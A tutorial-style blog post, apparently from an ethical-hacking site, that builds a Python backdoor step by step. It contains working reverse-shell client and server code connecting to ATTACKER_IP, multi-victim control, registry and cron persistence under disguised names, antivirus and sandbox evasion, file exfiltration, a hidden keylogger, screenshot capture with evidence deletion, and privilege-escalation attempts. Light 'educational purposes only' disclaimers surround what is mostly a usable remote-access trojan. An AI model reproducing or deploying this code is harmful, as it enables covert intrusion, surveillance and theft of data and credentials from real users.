# Building a Custom Python Backdoor

> Hey guys! 👋 Rocky here. So, you wanna learn how to build a custom backdoor in Python? Cool, let’s dive in!

Canonical: https://codelivly.com/building-a-custom-python-backdoor
Last updated: 2025-03-04

| | |
|---|---|
| Category | [Ethical hacking](https://codelivly.com/blog/category/ethical-hacking) |
| Author | rocky |
| Published | 2025-03-03 |
| Reading time | 23 min |

**Hey guys! 👋 Rocky here.**

So, you wanna learn how to build a custom backdoor in Python? *Cool, let’s dive in!* But first—let’s get one thing straight: **this is for educational purposes only**. I’m talking about ethical hacking here—the kind that helps you understand how attackers think so you can defend against them. Got it? Good.

### Why Should You Care About Backdoors?

Imagine a secret tunnel into a fortress. That’s a backdoor. In tech terms, it’s a sneaky way to access a system *without going through the front door* (like passwords or logins). Hackers love ’em, but as cybersecurity nerds, we study ’em to shut ’em down.

### What’s This Article About?

We’re gonna build a simple Python backdoor from scratch. You’ll learn:

- How to create a connection between a victim’s machine and your server.
- Running remote commands ( *”Hey, target PC—what’s in your Downloads folder?”*).
- Making the backdoor *persistent* (so it survives reboots).
- Adding *encryption* to hide traffic from nosy network admins.

### But Wait—Ethics First! 🛑

- **Don’t be a jerk.** Only test this on machines *YOU OWN* (or have explicit permission to hack).
- This isn’t a “how to hack your ex” tutorial. Seriously.
- Knowledge is power—use it to protect systems, not exploit them.

### What Do You Need?

- Basic Python skills (if you can write a loop, you’re golden).
- A lab setup (use Virtual Machines— *please don’t test this on your mom’s laptop*).
- Curiosity (and maybe some coffee ☕).

Ready to geek out? Let’s get to it! 🚀

*(P.S. If you’re here for the memes, stick around—I’ll try to make sockets and encryption sound less boring.)*

## Prerequisites

**Alright, let’s talk about what you’ll need before we start coding.** Don’t worry—it’s nothing crazy. If you’ve ever written a “Hello World” script in Python, you’re halfway there. But just to be sure, here’s the lowdown:

**First, Python basics.** You gotta know how variables, loops, and functions work. If the word “socket” or “subprocess” doesn’t make you sweat, you’re golden. Not a Python pro yet? No biggie—Google is your friend (and so are I-didn’t-study-for-this Stack Overflow threads).

**Next up: tools.** We’ll use Python’s built-in libraries like `socket` (for networking), `subprocess` (to run commands), and `os` (to mess with the operating system). Oh, and we’ll spice things up with `cryptography` for encryption and `pyinstaller` to turn our script into a sneaky.exe file. If you’ve never pip-installed a library before, now’s the time to learn. Protip: `pip install [library]` is your new mantra.

**Finally, a lab setup.** Seriously, *do not test this on your personal laptop or your neighbor’s Wi-Fi*. Use virtual machines (VMs) like VirtualBox or VMware. Set up two VMs: one as the “attacker” machine (Kali Linux is cool) and one as the “victim” (Windows or Linux). This keeps things safe, legal, and way less awkward if you accidentally nuke a VM.

**Pro Tip:** If you want to dive deeper into ethical hacking with Python, grab a copy of **" [Python for Ethical Hacking](https://store.codelivly.com/b/hackingwithpython) "** (shameless plug for my book! 😎). It covers everything from scripting basics to building advanced tools—perfect for turning your curiosity into real-world defense skills.

**TL;DR:** Know some Python, install a few libraries, and play with VMs. If that sounds doable, let’s roll. 🛠️

*(P.S. If you’re stuck, just yell at your code. It won’t fix anything, but it’s therapeutic.)*

## Setting Up the Environment

**Alright, time to set up our hacking lab. 🧪** Let’s get your environment ready so you don’t accidentally hack your own Netflix account. Here’s the game plan:

---

### Step 1: Virtual Machines Are Your BFFs

- **Why VMs?** Because testing malware (even harmless code) on your main PC is like juggling knives— *cool until it’s not*.

**Tools to Use:**

- **VirtualBox** (free) or **VMware** (paid, but fancy).
- **Kali Linux** (for the “attacker” machine)—it’s got all the hacking tools pre-installed.
- A **Windows/Linux VM** (for the “victim”). Download official ISOs—no sketchy torrents, please.

---

### Step 2: Python Setup

- **Install Python 3.x** on both VMs. If you’re on Kali, it’s probably already there. *High-five!*
- **Virtual Environments** (optional but neat):

```
python -m venv my_evil_env
source my_evil_env/bin/activate  # Linux
.\my_evil_env\Scripts\activate   # Windows
```

- **Install Libraries:**

```
pip install cryptography pyinstaller
```

*(We’ll use these later to encrypt stuff and turn scripts into.exe files.)*

### S **tep 3: Test Your Network

**Ping Between VMs:**

**Check IP Addresses:**

- On Linux: `ifconfig` or `ip a`

- On Windows: `ipconfig`

```
ping [target-IP]
```

If you get replies, you’re in business. If not, cry a little, then check firewall settings (they love blocking fun).

---

### Pro Tip:

- **Disable Firewalls Temporarily** on the victim VM ( *for testing only!*). Otherwise, your backdoor traffic might get ghosted.

---

**TL;DR:** Isolate your experiments with VMs, install Python + libraries, and make sure your VMs can chat over the network. Easy peasy. 🔧

*(P.S. If your code fails, blame the firewall first. It’s usually the firewall.)*

## Creating a Basic TCP Client-Server Model

**Alright, let’s build the backbone of our backdoor: the TCP client-server model!** 🕸️ Think of this like a walkie-talkie connection. The **server** (your attacker machine) *listens* for incoming calls, and the **client** (the victim’s PC) *dials in* to establish a secret line. Here’s how to code it without dozing off:

---

### Server Code (Attacker Side)

This script runs on *your* machine and waits for the victim to connect.

```
## server.py
import socket

## Set up the server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))  # Listen on ALL interfaces, port 4444
server.listen(5)  # Max 5 queued connections

print("[+] Server is listening...")

## Accept incoming connection
client_socket, client_address = server.accept()
print(f"[+] Victim connected from {client_address}")

## Start chatting with the victim
while True:
    command = input("Enter command: ")
    client_socket.send(command.encode())
    response = client_socket.recv(4096).decode()
    print(response)
```

---

### Client Code (Victim Side)

This runs on the target machine and connects back to your server.

```
## client.py
import socket
import subprocess

## Connect to attacker's server
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("ATTACKER_IP", 4444))  # Replace with YOUR IP!

## Execute commands sent by the attacker
while True:
    command = client.recv(4096).decode()
    if command.lower() == "exit":
        break
    # Run the command and send back the output
    output = subprocess.getoutput(command)
    client.send(output.encode())
```

---

### How It Works

**Server:**

1.

- Binds to port `4444` and waits for a connection.
- Once a victim connects, you can send commands like `dir` (Windows) or `ls` (Linux).

**Client:**

- Connects to your server’s IP and port.
- Runs commands using `subprocess` and sends back the output.

**Pro Tips:**

- Replace `ATTACKER_IP` with your Kali VM’s IP (use `ifconfig` or `ipconfig`).
- Test this locally first (use `127.0.0.1` as the IP on the same machine).
- **WARNING:** This is *super basic* and *not stealthy* (we’ll fix that later).

---

**Try It Out:**

1. Run `server.py` on your attacker VM.
2. Run `client.py` on the victim VM.
3. Type `whoami` or `ipconfig` in the server terminal. If you see a response, congrats—you’ve got a working backdoor skeleton! 🎉

*(P.S. If it fails, triple-check your IP and firewall settings. 90% of problems live there.)*

## Establishing a Reverse Shell

A reverse shell is like forcing the victim’s PC to call *you* and say, “ **Hey, give me commands to run!** ” This sneaky trick bypasses firewalls (most block incoming connections, but not outgoing ones). Here’s how to code it:

---

### Reverse Shell vs. Basic Client-Server

- **Basic Model:** You send commands one at a time (like texting).
- **Reverse Shell:** You get a live terminal session (like a phone call).

---

### Server Code (Attacker Side)

*This listens for the victim to connect and gives you a live shell:*

```
## reverse_server.py
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))  # Listen on all interfaces
server.listen(5)

print("[+] Waiting for victim to call home...")
client_socket, addr = server.accept()
print(f"[+] Shell connected from {addr}")

while True:
    command = input("shell> ")  # Your evil command prompt
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    # Get command output
    output = client_socket.recv(4096).decode()
    print(output)
```

---

### Client Code (Victim Side)

*This connects to YOU and sends back command outputs:*

```
## reverse_client.py
import socket
import subprocess
import os

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("ATTACKER_IP", 4444))  # Replace with YOUR IP!

while True:
    command = client.recv(4096).decode()
    if command.lower() == "exit":
        break
    # Run command and send output
    try:
        output = subprocess.getoutput(command)
    except Exception as e:
        output = str(e)
    client.send(output.encode())
```

---

### How It Works

1. The **victim** runs `reverse_client.py`, which dials out to *your server*.
2. You type commands like `shell> whoami` or `shell> ls -la` on the server.
3. The victim executes them and sends back the results.

---

### Pro Tips

- **Fix the Path:** On Windows, add `shell=True` to `subprocess` calls for commands like `dir` to work.
- **Stealth Mode:** Use `subprocess.run(..., stdout=subprocess.PIPE, stderr=subprocess.PIPE)` to hide pop-up windows (Windows).
- **Test Locally First:** Replace `ATTACKER_IP` with `127.0.0.1` to test on one machine.

---

**Try It:**

1. Run `reverse_server.py` on your attacker VM.
2. Run `reverse_client.py` on the victim VM.
3. Type `shell> ipconfig` (Windows) or `shell> ifconfig` (Linux). If you see network info, **you’ve got a reverse shell!** 🎉

*(P.S. If it fails, check your IP/firewall again. Networking hates everyone equally.)*

## Handling Multiple Connections

**Alright, let’s turn our backdoor into a multitasking beast!** 🦑 Right now, our code can only handle **one victim at a time**. That’s like being a waiter who ignores everyone except Table 1— *terrible for business*. Let’s upgrade it to juggle multiple connections using **threading**.

---

### Why Threading?

- **Threads** let your server manage multiple clients *simultaneously* without waiting for one to finish.
- Think of it as hiring extra waiters so every table gets service.

---

### Upgraded Server Code (Multithreaded)

```
## multi_server.py
import socket
import threading

def handle_client(client_socket):
    while True:
        command = input(f"shell@{client_socket.getpeername()}> ")  # Custom prompt per victim
        client_socket.send(command.encode())
        if command.lower() == "exit":
            break
        response = client_socket.recv(4096).decode()
        print(response)
    client_socket.close()

## Set up the server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))
server.listen(5)
print("[+] Server is listening...")

while True:
    client_socket, addr = server.accept()
    print(f"[+] New victim connected: {addr}")
    # Spin up a thread for each new client
    client_thread = threading.Thread(target=handle_client, args=(client_socket,))
    client_thread.start()
```

---

### Client Code (Same as Before)

No changes needed! The victim’s `client.py` stays the same.

---

### How It Works

1. The server **listens indefinitely** and spawns a new thread for every incoming connection.
2. Each thread runs `handle_client()`, letting you send commands to **individual victims** without interrupting others.
3. You’ll see a custom prompt like `shell@192.168.1.5>` to track which victim you’re commanding.

---

### Pro Tips

- **Don’t Go Crazy:** Threads are lightweight, but too many can crash your server. Use a thread pool if you’re feeling fancy.
- **Async Awesomeness:** For advanced setups, try Python’s `asyncio`—but let’s stick to threading for simplicity today.
- **Test with Multiple Victims:** Open two victim VMs and run `client.py` on both. Watch your server handle them like a boss!

---

### Common Issues

- **Thread Collisions:** If two threads try to print at the same time, outputs might overlap. Use locks (`threading.Lock()`) to avoid this chaos.
- **Zombie Threads:** If a victim disconnects, kill their thread to free up resources.

---

**Try It Out:**

1. Run `multi_server.py`.
2. Launch `client.py` on **multiple VMs**.
3. Type commands for specific victims using their IP prompts.

*Congrats—you’re now a puppet master for multiple machines!* 🎭

## Persistence Mechanisms

Persistence means your backdoor survives reboots, updates, and that one friend who keeps yelling “ **TURN IT OFF AND ON AGAIN**.” Here’s how to make your script cling to the victim’s machine like duct tape.

---

### Why Persistence Matters

- **Reboots happen.** Victims restart their PCs, and you don’t want to lose access.
- **Stealth bonus:** Auto-starting your backdoor makes it look “legit” (to the untrained eye).

---

### Windows Persistence: The Registry Trick

Windows loves the Registry. We’ll add a sneaky entry to launch the backdoor on login:

```
## persistence_windows.py
import winreg  # Built-in Windows registry library
import os

## Path to your backdoor executable (after compiling client.py to .exe)
backdoor_path = r"C:\\\\Users\\\\Victim\\\\Downloads\\\\totally_not_a_virus.exe"

## Open the Registry key
key = winreg.OpenKey(
    winreg.HKEY_CURRENT_USER,
    r"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
    0,
    winreg.KEY_SET_VALUE
)

## Add the backdoor to auto-start
winreg.SetValueEx(key, "WindowsUpdateHelper", 0, winreg.REG_SZ, backdoor_path)
winreg.CloseKey(key)

print("[+] Backdoor added to startup!")
```

**How it works:**

- Modifies `HKEY_CURRENT_USER\\\\...\\\\Run` to launch your backdoor on user login.
- Name it something boring like “WindowsUpdateHelper” to avoid suspicion.

---

### Linux Persistence: Cron Jobs

On Linux, we’ll abuse cron (the task scheduler) to run the backdoor every minute (or on reboot):

```
## persistence_linux.py
import os

## Path to your Python backdoor script
backdoor_script = "/home/victim/.config/update_manager.py"

## Add a cron job to run the backdoor every minute
os.system(f"(crontab -l 2>/dev/null; echo '* * * * * python3 {backdoor_script}') | crontab -")

print("[+] Cron job added! Backdoor will respawn every 60 seconds.")
```

**How it works:**

- Adds a cron job that runs the backdoor every minute (`* * * *`).
- Hide the script in a folder like `~/.config` (those dotfiles are sneaky).

---

### Pro Tips for Stealth

1. **Compile to.exe:** Use `pyinstaller` to turn your ***client.py*** into a standalone.exe (no Python install needed).

```
pyinstaller --onefile --noconsole client.py
```

1. **Hide in Plain Sight:**
  - Name your file `svchost.exe` (Windows) or `systemd-update` (Linux).
  - Drop it in system folders like `C:\\\\Windows\\\\System32` or `/usr/lib`.
2. **Guard Against Deletion:**
  - Set the file as *hidden* or *read-only*.
  - For Linux: `chmod +x` and `chattr +i` (immutable flag) to lock the file.

---

**Try It:**

1. Compile your `client.py` to.exe (Windows) or keep it as a.py script (Linux).
2. Run the persistence script on the victim VM.
3. Reboot the VM. If the backdoor reconnects automatically, *you’ve won persistence!* 🏆

## Basic Obfuscation Techniques

Obfuscation is like putting your code in a disguise—AV scanners and nosy sysadmins won’t recognize it. Here’s how to turn your script from *"Hello World"* to *"What even is this?"* with basic tricks:

---

### 1. Rename Everything (Seriously, Everything)

AVs look for suspicious variable/function names like `client_socket` or `reverse_shell`. **Bore them to death** with generic names:

```
## Before (Sketchy)
client_socket = socket.socket()

## After (Boring)
tax_calculator_2023 = socket.socket()  # 🥱 AVs: "Probably just TurboTax..."
```

---

### 2. Encrypt Strings

Plaintext strings like `"ATTACKER_IP"` are red flags. Encrypt them and decrypt at runtime:

```
from cryptography.fernet import Fernet

## Encrypt your IP first (do this once)
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_ip = cipher.encrypt(b"192.168.1.5")

## In your backdoor code:
decrypted_ip = cipher.decrypt(encrypted_ip).decode()
client.connect((decrypted_ip, 4444))
```

*(Pro Tip: Hide the key in a config file or registry entry.)*

---

### 3. Break Code into Modules

Split your code into innocent-looking files:

- `math_operations.py` (holds your reverse shell logic)
- `data_analytics.py` (handles encryption)

AVs often scan single files, not *"harmless"* module networks.

---

### 4. Use Packers (Like PyInstaller)

Turn your script into a `.exe` and **strip metadata**:

```
pyinstaller --onefile --noconsole --name "AdobeUpdater.exe" client.py
```

- `-noconsole`: Hides the terminal (Windows).
- `-name`: Pretend to be legit software.

---

### 5. Code Minification

Crush your code into unreadable mush (like JavaScript devs do):

```
## Before
def send_data(data):
    client_socket.send(data.encode())

## After
def s(d):__import__('socket').socket().send(d.encode())
```

*Note:* Don’t overdo this—your future self will hate you.

---

### Pro Tips for Extra Sneakiness

- **Fake Errors:** Add `try/except` blocks that print *"Failed to load spreadsheet module"* to look like broken legit software.
- **Hide in Legit Processes:** Name your process `svchost.exe` (Windows) or `systemd-logind` (Linux).
- **Delay Execution:** Sleep for 5 minutes at startup to dodge sandbox analysis.

---

### Ethical Reminder

- **Only test on systems you own.** Obfuscation isn’t a free pass to be a menace.
- Use these tricks to learn how attackers hide malware—so you can **spot it faster** during audits.

---

**Try It:**

1. Obfuscate your [client.py](http://client.py/) with renamed vars and encrypted strings.
2. Compile it to `.exe` with PyInstaller.
3. Upload the file to [VirusTotal](https://www.virustotal.com/). If fewer AVs flag it, *success!* 🎉

## Avoiding Detection

**Let’s turn your backdoor into a *ghost* —invisible to AVs, IDS, and bored sysadmins.** 👻

Avoiding detection is all about **not looking like a backdoor**. Think of it like dressing your code in a convincing Halloween costume. Here’s how to dodge scanners and stay off the radar:

---

### 1. Evade Signature-Based Detection

Antivirus (AV) software hunts for *known patterns* (like your `socket` and `subprocess` calls). Break their patterns:

- **Encrypt Critical Strings**

```
## Encrypt "whoami" to something like "gobbledygook"
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_cmd = cipher.encrypt(b"whoami")

## Decrypt during execution
command = cipher.decrypt(encrypted_cmd).decode()
subprocess.getoutput(command)
```

- **Split Payloads** Divide your code into harmless-looking chunks. Example:
  - `module1.py`: Handles network connections ( *"Just a weather API!"*).
  - `module2.py`: Runs "legit" system checks ( *cough* reverse shell *cough*).

---

### 2. Blending In with Traffic

Network admins *love* sniffing traffic. Throw them off:

- **Use Common Ports** Port `443` (HTTPS) or `53` (DNS) look boring.

```
server.bind(("0.0.0.0", 443))  # "It’s just HTTPS, I swear!"
```

- **Encrypt Everything** Use SSL/TLS to turn traffic into gibberish:

```
import ssl
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
secure_socket = context.wrap_socket(client_socket, server_side=True)
```

---

### 3. Mimic Legit Software

Act like you belong:

- **Process Name Spoofing** (Windows) Rename your `.exe` to `chrome_installer.exe` or `spotify_helper.exe`.
- **Living Off the Land** Use built-in tools for dirty work:

```
## Instead of your own keylogger:
subprocess.call("powershell Get-Process | Out-File -Append ~/diag.log", shell=True)
```

---

### 4. Delay & Randomize

Sandboxes (automated malware analyzers) hate patience:

- **Sleep Randomly** Wait 5-10 minutes before connecting to your server:

```
import time
import random
time.sleep(random.randint(300, 600))  # 5-10 mins in seconds
```

- **Junk Code Injection** Add useless loops/variables to confuse static analysis:

```
for _ in range(1000):
    x = "AVs hate this one trick" * 100
    del x  # 😎
```

---

### 5. Test Your Stealth

- **VirusTotal**: Upload your `.exe` to [virustotal.com](https://www.virustotal.com/). If >5 AVs flag it, tweak your obfuscation.
- **Wireshark**: Check if traffic looks encrypted/innocent.

---

**Try It:**

1. Encrypt your strings and recompile the backdoor.
2. Run it through VirusTotal. Fewer detections? *You’re a stealth wizard!* 🧙

**Advanced Features**

## File Transfer Capabilities

**Alright, let’s add file transfer powers to our backdoor! 📂** Now that you can run commands remotely, why stop there? Let’s teach our backdoor to **upload** and **download files** between the attacker and victim. Think of it like a creepy Uber Eats for data. Here’s how:

---

### Step 1: Server Code (Attacker Side)

Add these functions to your server script to send/receive files:

```
## server.py (add this to your existing code)
def send_file(file_path, client_socket):
    try:
        with open(file_path, "rb") as file:
            client_socket.send(file.read())
        print(f"[+] Sent {file_path} to victim!")
    except:
        print("[-] Failed to send file.")

def receive_file(file_name, client_socket):
    try:
        with open(file_name, "wb") as file:
            file_data = client_socket.recv(4096)
            file.write(file_data)
        print(f"[+] Downloaded {file_name} from victim!")
    except:
        print("[-] Failed to download file.")
```

---

### Step 2: Client Code (Victim Side)

Update the client to handle file transfers:

```
## client.py (add to your loop)
    # Inside the command loop:
    elif command.startswith("upload"):
        _, file_path = command.split(" ", 1)
        with open(file_path, "wb") as file:
            file_data = client.recv(4096)
            file.write(file_data)

    elif command.startswith("download"):
        _, file_path = command.split(" ", 1)
        if os.path.exists(file_path):
            with open(file_path, "rb") as file:
                client.send(file.read())
        else:
            client.send(b"[-] File not found.")
```

---

### How to Use It

1. **Download a File from the Victim:** On the attacker’s server, type: `download /path/on/victim/file.txt` The file gets saved to your current directory.
2. **Upload a File to the Victim:** On the attacker’s server, type: `upload /path/on/your/machine/evil.exe` The file gets dumped onto the victim’s machine.

---

### Key Notes

- **No Encryption Yet:** This sends files in plaintext (easy to detect!). We’ll fix this later with `cryptography`.
- **Small Files Only:** This uses a basic `4096` buffer—great for text files, terrible for movies. Need bigger transfers? Use loops!
- **Error Handling? Meh.** This is a barebones example. For real tools, add checks for disk space, permissions, etc.

---

**Try It Out:**

- Upload a test `.txt` file to the victim.
- Download the victim’s `/etc/passwd` (Linux) or `C:\\Windows\\win.ini` (Windows). If it works, you’re officially a digital smuggler. 🕶️

## Keylogging and Screenshot Capture

Let’s add **keylogging** (recording every keystroke) and **screenshot capture** to spy on what the victim is doing. *Ethically, of course.* 🕵️♂️

---

### Keylogging with `pynput`

First, install the library:

```
pip install pynput
```

**Client Code (Victim Side):**

Add this to your backdoor to secretly log keystrokes:

```
## client.py
from pynput.keyboard import Listener
import threading

def log_keystrokes(key):
    with open("keylog.txt", "a") as f:
        try:
            f.write(str(key.char))  # Log letters/numbers
        except:
            f.write(f"[{key}]")     # Log special keys (e.g., [Key.space])

## Start keylogger in the background
def start_keylogger():
    with Listener(on_press=log_keystrokes) as listener:
        listener.join()

## Add this to your main code (run it in a thread!)
keylogger_thread = threading.Thread(target=start_keylogger)
keylogger_thread.daemon = True
keylogger_thread.start()
```

**How It Works:**

- Logs every key pressed into `keylog.txt` (passwords, messages, cat memes— *nothing is safe*).
- Runs in the background so the victim doesn’t notice.

---

### Screenshot Capture with `PIL`

Install Pillow (Python Imaging Library):

```
pip install pillow
```

**Client Code (Victim Side):**

Add this to take screenshots:

```
## client.py
from PIL import ImageGrab
import time

def take_screenshot():
    timestamp = time.strftime("%Y%m%d-%H%M%S")
    file_name = f"screenshot_{timestamp}.png"
    screenshot = ImageGrab.grab()
    screenshot.save(file_name)
    return file_name

## Trigger it via a command (e.g., "screenshot")
elif command == "screenshot":
    screenshot_file = take_screenshot()
    with open(screenshot_file, "rb") as f:
        client.send(f.read())
    os.remove(screenshot_file)  # Delete evidence from victim's machine
```

**How It Works:**

- Takes a screenshot, sends it to the attacker, and deletes it from the victim’s PC.
- Use the `screenshot` command from your server to trigger it.

---

### Key Notes

- **Stealth Mode:**
  - Hide the keylog file (e.g., name it something boring like `system_log.txt`).
  - Encrypt the logs/screenshots before sending (use `cryptography` from earlier!).
- **Limitations:**
  - `pynput` needs admin privileges on some systems.
  - Screenshots won’t work on headless servers (no GUI).

---

**Try It Out:**

1. Run the updated backdoor on your victim VM.
2. Type `screenshot` in your server—you’ll get a PNG of their screen.
3. Check `keylog.txt` for a dump of their keyboard activity.

*(P.S. If you catch the victim watching Netflix instead of working, you didn’t hear it from me.)*

## Remote Shell Escalation

**Alright, let’s talk about becoming the *admin of chaos*.** 🎩

Privilege escalation is like upgrading from a bicycle to a fighter jet. If your backdoor is running with basic user privileges, you’re limited. But if you can escalate to **root/admin**, you own the system. Here’s how to add this power to your Python backdoor:

---

### Step 1: Check Current Privileges

First, see what permissions you already have.

**Client Code (Victim Side):**

```
## Inside your command loop:
elif command == "whoami":
    output = subprocess.getoutput("whoami")
    client.send(output.encode())
```

Run `whoami` from your server. If it returns `root` (Linux) or `Administrator` (Windows), skip to Step 3 and celebrate. If not, let’s break things.

---

### Step 2: Escalate on Linux

Exploit misconfigured sudo permissions or SUID binaries.

**Example: Abusing Sudo Rights**

```
## Try to escalate via sudo (if allowed)
elif command == "escalate_linux":
    output = subprocess.getoutput("sudo -l")  # List allowed commands
    client.send(output.encode())
    # If the user can run /bin/bash as root:
    client.send(subprocess.getoutput("sudo /bin/bash").encode())
```

If the victim’s user has `sudo` access for certain commands (like `/bin/bash`), you’ve hit the jackpot.

---

### Step 3: Escalate on Windows

Windows loves tokens. Steal one, and you’re golden.

**Client Code (Victim Side):**

Install `pywin32` first:

```
pip install pywin32
```

```
## client.py (Windows only)
import win32security
import win32con

def steal_token():
    try:
        # Impersonate SYSTEM token (admin)
        token = win32security.OpenProcessToken(
            win32security.GetCurrentProcess(),
            win32security.TOKEN_ALL_ACCESS
        )
        win32security.ImpersonateLoggedOnUser(token)
        return "[+] Escalated to SYSTEM!"
    except:
        return "[-] Failed to escalate."

## Trigger with "escalate_windows"
elif command == "escalate_windows":
    result = steal_token()
    client.send(result.encode())
```

---

### Step 4: Exploit Known Vulnerabilities

Automate exploits for unpatched systems.

**Example: Dirty COW (Linux)**

```
## client.py (Linux)
elif command == "dirty_cow":
    # Download/run Dirty COW exploit (hypothetical)
    output = subprocess.getoutput("gcc dirty_cow.c -o exploit && ./exploit")
    client.send(output.encode())
```

**Warning:** This requires pre-written exploit code. *Don’t reinvent the wheel* —use frameworks like **Metasploit** for reliability.

---

### Key Notes

- **Ethics Alert:** Escalation can brick systems or trigger antivirus alarms. Test in your lab only!
- **Real-World Hackers** chain exploits (e.g., CVE-2021-4034 for Linux, PrintNightmare for Windows).
- **Post-Escalation Fun:** Dump passwords with `mimikatz` (Windows) or `/etc/shadow` (Linux).

---

**Try It Out:**

1. Run `whoami` to check privileges.
2. If you’re a peasant user, run `escalate_linux` or `escalate_windows`.
3. If successful, type `whoami` again— *you’re now royalty*. 👑

*(P.S. If you get stuck, just yell “sudo make me a sandwich” at the screen. Works 0% of the time.)*

## Securing the Backdoor

**Time to lock down your backdoor so it doesn’t get caught! 🔒**

Let’s make sure your sneaky Python tool stays undetected *and* secure. Here’s how to encrypt traffic, verify identities, and avoid turning your backdoor into a liability.

---

### Step 1: Encrypt Communication (AES)

**Why?** Sending commands in plaintext is like yelling secrets in a library. Let’s fix that.

**Install the Library:**

```
pip install cryptography
```

**Client & Server Code (Shared Key Setup):**

```
from cryptography.fernet import Fernet

## Generate a key (do this once and share it between client/server)
key = Fernet.generate_key()
cipher = Fernet(key)

## Encrypt a command
encrypted_command = cipher.encrypt(b"ls -la")

## Decrypt a command
decrypted_command = cipher.decrypt(encrypted_command)
```

**Integrate Encryption:**

- **Server:** Encrypt commands before sending.
- **Client:** Decrypt commands, encrypt responses.

**Pro Tip:** Store the key *outside* the code (e.g., in a config file). Hardcoding it is like leaving your house key under the doormat.

---

### Step 2: Add Password Authentication

**Why?** Stop randos from connecting to your backdoor.

**Server Code:**

```
## Server asks for a password before accepting commands
client_socket.send(b"Enter password: ")
password_attempt = client_socket.recv(1024).decode().strip()

if password_attempt != "YourEvilPassword123":
    client_socket.send(b"Access denied!")
    client_socket.close()
else:
    client_socket.send(b"Access granted!")
```

**Client Code:**

```
## Client sends password immediately after connecting
password = input("Enter password: ")
client.send(password.encode())
response = client.recv(1024).decode()
if "granted" not in response:
    exit()
```

**Upgrade It:** Hash the password with `bcrypt` instead of plaintext!

---

### Step 3: Verify Integrity with HMAC

**Why?** Ensure commands aren’t tampered with mid-transit.

```
import hmac
import hashlib

## Shared secret (different from encryption key!)
hmac_secret = b"supersecret123"

## Server: Add HMAC to every message
message = b"rm -rf /"
digest = hmac.new(hmac_secret, message, hashlib.sha256).hexdigest()
client.send(message + b"|" + digest.encode())

## Client: Verify HMAC before executing
received_data = client.recv(4096)
message, received_digest = received_data.split(b"|")
expected_digest = hmac.new(hmac_secret, message, hashlib.sha256).hexdigest()

if received_digest.decode() != expected_digest:
    print("Tampering detected!")
else:
    execute_command(message)
```

---

### Step 4: SSL/TLS (Advanced)

**Why?** For elite-level opsec.

**Generate Self-Signed Certificates:**

```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
```

**Server Code (SSL Wrapper):**

```
import ssl

context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")

secure_socket = context.wrap_socket(server_socket, server_side=True)
```

**Client Code:**

```
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.load_verify_locations("cert.pem")

secure_client = context.wrap_socket(client_socket, server_hostname="evilserver.com")
```

---

### Key Takeaways

- **Encrypt Everything:** Use AES for simplicity or SSL/TLS for sophistication.
- **Double-Check Identity:** Passwords and HMACs keep impostors out.
- **Avoid Hardcoding Secrets:** Store keys/passwords in external files.
- **Test Extensively:** Broken crypto = free jail time.

---

**Try It Out:**

1. Add encryption to your client/server code.
2. Test with Wireshark—your traffic should look like gibberish.
3. Lock it down with a password.

## Conclusion

We’ve covered a *ton* today—from building a basic Python backdoor to adding spy-worthy features like file theft, keylogging, and even privilege escalation. But let’s not forget the golden rule: **with great power comes great responsibility** (thanks, Uncle Ben).

### Quick Recap

- You learned how to **create a TCP client-server model** (the OG backdoor skeleton).
- Spiced it up with **file transfers**, **screenshots**, and **keystroke logging** (👀).
- Locked it down with **encryption**, **passwords**, and **HMAC checks** to avoid getting busted.
- And most importantly— **why ethics matter**.

### The Big Picture

This wasn’t just about writing code. It’s about understanding how attackers think so you can **defend against them**. The same tools that hack systems can *protect* them—if you use them right.

### What’s Next?

- Harden your own systems (check firewalls, monitor logs, patch regularly).
- Dive into bug bounties or penetration testing (get paid to break stuff *legally*).
- Teach others! Share knowledge to make the digital world safer.

**Thanks for sticking around!** Go forth, code responsibly, and remember:

*“The best hackers don’t exploit vulnerabilities—they fix them.”* ☕
